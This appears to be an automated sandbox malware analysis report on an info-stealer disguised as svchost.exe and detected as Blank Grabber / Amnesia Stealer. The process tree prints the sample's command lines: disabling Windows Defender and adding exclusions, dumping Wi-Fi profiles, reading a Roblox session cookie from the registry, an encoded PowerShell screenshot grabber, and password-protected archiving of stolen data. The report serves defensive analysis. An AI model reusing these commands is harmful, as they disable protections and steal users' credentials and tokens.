Edit tour

Windows Analysis Report
svchost.exe

Overview

General Information

Sample name:	svchost.exe
Analysis ID:	1604599
MD5:	f73648b12faad92f981744f7ad02c06e
SHA1:	8da914dde7483ad54d66dc2a8ec75e28f1437673
SHA256:	765e63e1c60120f2b2c9f249526049a5312567ab219ba1e22881ebb65c0ce560
Tags:	exeuser-aachum
Infos:

Detection

HackBrowser, Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

Yara detected Amnesia Stealer

Yara detected Blank Grabber

Yara detected Telegram RAT

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found pyInstaller with non standard icon

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Modifies the context of a thread in another process (thread injection)

Queries Google from non browser process on port 80

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: System File Execution Location Anomaly

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Writes or reads registry keys via WMI

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: Use Short Name Path in Command Line

Steals Internet Explorer cookies

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

svchost.exe (PID: 5740 cmdline: "C:\Users\user\Desktop\svchost.exe" MD5: F73648B12FAAD92F981744F7AD02C06E)

svchost.exe (PID: 7212 cmdline: "C:\Users\user\Desktop\svchost.exe" MD5: F73648B12FAAD92F981744F7AD02C06E)

Build.exe (PID: 7324 cmdline: C:\Users\user~1\AppData\Local\Temp\_MEI57402\Build.exe -pbeznogym MD5: 85C75ACFD4FEAB322F9CCD2E9154433C)

hacn.exe (PID: 7412 cmdline: "C:\ProgramData\Microsoft\hacn.exe" MD5: F07FF81C4C60944A81C97D268DD630A2)

hacn.exe (PID: 7508 cmdline: "C:\ProgramData\Microsoft\hacn.exe" MD5: F07FF81C4C60944A81C97D268DD630A2)

cmd.exe (PID: 7532 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

based.exe (PID: 7448 cmdline: "C:\ProgramData\Microsoft\based.exe" MD5: 39B96B128C5732A9EB723DE56187A0E2)

based.exe (PID: 7492 cmdline: "C:\ProgramData\Microsoft\based.exe" MD5: 39B96B128C5732A9EB723DE56187A0E2)

cmd.exe (PID: 7580 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7696 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7592 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7688 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 5688 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 7928 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8068 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7936 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8100 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 8092 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7300 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 1196 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6092 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2120 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5740 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7380 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7524 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 6684 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7924 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 3020 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 2860 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 1848 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 2940 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 1840 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3084 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 1652 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7420 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD5AE.tmp" "c:\Users\user\AppData\Local\Temp\y1aqvv5e\CSCACBE0D10893A4D738567997C9D36227A.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 3540 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 1916 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 3088 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 7576 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 6276 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 1516 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8172 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 4484 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 5572 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 4240 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 6136 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5188 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6300 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2940 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 1916 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 8084 cmdline: C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 8092 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

